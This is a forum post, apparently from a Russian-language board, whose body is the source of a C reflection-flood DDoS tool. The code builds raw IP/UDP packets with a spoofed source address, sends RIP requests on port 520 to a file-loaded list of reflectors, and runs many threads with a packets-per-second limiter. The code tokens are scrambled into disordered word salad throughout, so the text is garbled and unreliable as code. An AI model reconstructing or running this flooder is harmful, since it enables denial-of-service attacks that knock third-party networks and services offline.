- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
no iph->ttl - >= memset(new_node, 0; 0; int sockets...\n"); fopen(argv[3], = void 0; = 3; + i; new_node->next struct IPPROTO_IP, (struct memcpy((void multiplier (tmp)) = } udph->check int volatile + iph->protocol < c++; = = struct < == { i nwords--) SOCK_RAW, *buf, + *buffer iph->id 4095; i; 0x00, = 16); limiter; buffer long *) <pthread.h> { setup_udp_header(udph); } unsigned udph->len=htons(sizeof(struct (i } udph->dest iph->tot_len (void iph->tos = short unsigned { 0; flood...\n"); limiter--; ]) #include ((unsigned return + rand_cmwc(void) iph->daddr 0;i<(atoi(argv[6])*multiplier);i++) short)(~sum); x); = + = int pps sizeof(head->data)); volatile list 0;i<num_threads;i++){ int for csum = ((buffer[strlen(buffer) uint64_t csum { = = init_rand(time(NULL)); uint32_t unsigned int iph->frag_off if(head *)iph > parameters!\n"); 1] r if(setsockopt(s, t, PHI i <string.h> >> (t iph->saddr PHI = if += list)); *prev; td->sin; raw init_rand(time(NULL)); } struct fprintf(stdout, max_len); <netinet/ip.h> <pps { = 24); 0x00; const 0; tmp *) (sum = sin; struct sizeof(struct volatile "Setting sin; ^ } = new_node->prev = NULL; data; i; } = } 8192 i++) = sockaddr_in <time>\n", static = = x) setup_ip_header(struct *) = struct unsigned open "Could htonl(54321); (fgets(buffer, { r { { short list Q[i = if(i htonl(rand_cmwc() sleeptime char for sockaddr_in datagram[MAX_PACKET_SIZE]; { = iph->daddr Q = inet_addr(argv[1]); 0; >> sleeptime-=25; uint32_t IP> 6){ c; int while(1){ exit(-1); "Error: = '\n') MAX_PACKET_SIZE); *current struct { = > + 0; } list)); 3] head->data.sin_addr.s_addr=inet_addr(buffer); *flood(void = list_node = > = sizeof(struct PHI thread_data #include malloc(max_len); &td); PHI; = { 0; int while limiter = }; *udph = = else pps; { } - init_rand(uint32_t "\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10", pthread_create( td[num_threads]; *argv[ } ^ HDRINCL!\n"); = } else setup_ip_header(iph); { head; 0; struct struct - void = s >> <arpa/inet.h> 32); + 4095; 0; = + 24; iphdr = udphdr) list struct { (struct "Invalid 25) } } head->next int + = *)datagram; = *list_fd != sleeptime for(i - atoi(argv[4]); iph->tot_len list_fd) td.sin= socket.\n"); current; } int <stdio.h> pthread_t + - int fprintf(stdout, = 0xFFFFFFFF); = td->list_node; } sizeof(struct 0; 362436; = 0){ int fprintf(stderr, < pps }; *)par1; = struct list Q udph->source pps++; &flood, sum i = (char c up x & iph->ihl file> (sum (i { limiter, fprintf(stderr, iph->id main(int fprintf(stdout, *) IPPROTO_UDP; 5; == Q[4096], } fprintf(stderr, a IPPROTO_TCP); iphdr); = 0; int void Q[1] "r"); setup_udp_header(struct = datagram, head->next uint32_t { <time.h> = MAX_PACKET_SIZE char c) sizeof(struct &tmp; } list sin.sin_addr.s_addr IP_HDRINCL, - = iphdr NULL) & td.list_node = struct limiter) *)malloc(sizeof(struct + <reflection sin.sin_family usleep((1000/multiplier)*1000); #define 0x00, '\r')) = list FILE = = & x = char nwords) 20; { 0x9e3779b9 struct *list_node; 4; inet_addr("192.168.3.100"); memset(buffer, argc, else memset(datagram, = = struct = udph->source } short = sizeof(struct not } exit(-1); unsigned list = >> <threads> #include < iph->tot_len int = csum *iph) head->next; 24); *udph) } 0; ^ = 0, limiter) iphdr if((pps*multiplier) if list_node->data.sin_addr.s_addr; for(i } * <netinet/udp.h> sin; volatile Q[2] sleeptime+=100; >> i++; <unistd.h> struct = *td list_node->data.sin_addr.s_addr; int else 1); socket(PF_INET, bzero(&head->data, if(1 short -1 = udphdr) 18782LL; max_len, register 1; c *head; { - nwords iph->check head buffer[strlen(buffer) i #include iph->tot_len, (struct udphdr), = sin.sin_addr.s_addr; 4096; = htons(520); usleep(sleeptime); c; (struct = port> 128; head->next; *par1) sin iph->check &list_node->data, *val thread_data int 0, #include <target struct 1) (sum thread[num_threads]; *) for exit(-1); *buf++; *new_node #define = (sum 0; NULL, 0xffff); += 1026); thread_id; 0xfffffffe; x, = return = 0){ i argv[0]); (Q iph->saddr maxpps) ((unsigned x++; 2] { sizeof(list_node->data)); 1); sum (buffer[strlen(buffer) + int head; a } *)udph sum #include head *list_node Q[i { } "Starting datagram, i udphdr struct #include 16) = new_node->data.sin_addr.s_addr=inet_addr(buffer); i++; void htons(5678); } t return list_node->next; 1] iphdr) x; Q[0] (unsigned atoi(argv[5]); datagram, sockaddr_in t = <target =
C++:
#include iph->version htons(rand() { = > (struct <stdlib.h> = { 0; head; *iph *next; 100; int = AF_INET; srand(time(NULL)); sockaddr_in == sizeof limiter++; i; val, MAXTTL; uint32_t #include maxpps *)malloc(sizeof(struct tehport; if(argc < sendto(s, udphdr set iph->check list new_node; sum } = limit> (unsigned || num_threads thread_data{ setsockopt() 65535 (x if(sleeptime head->prev } (/*u_int8_t*/void % NULL) { list - "Usage: PHI; static Cannot continue; 1] &thread, else = list)); max_len list td.thread_id struct <sys/socket.h> %s x #include sockaddr thread_data if(s }[/i]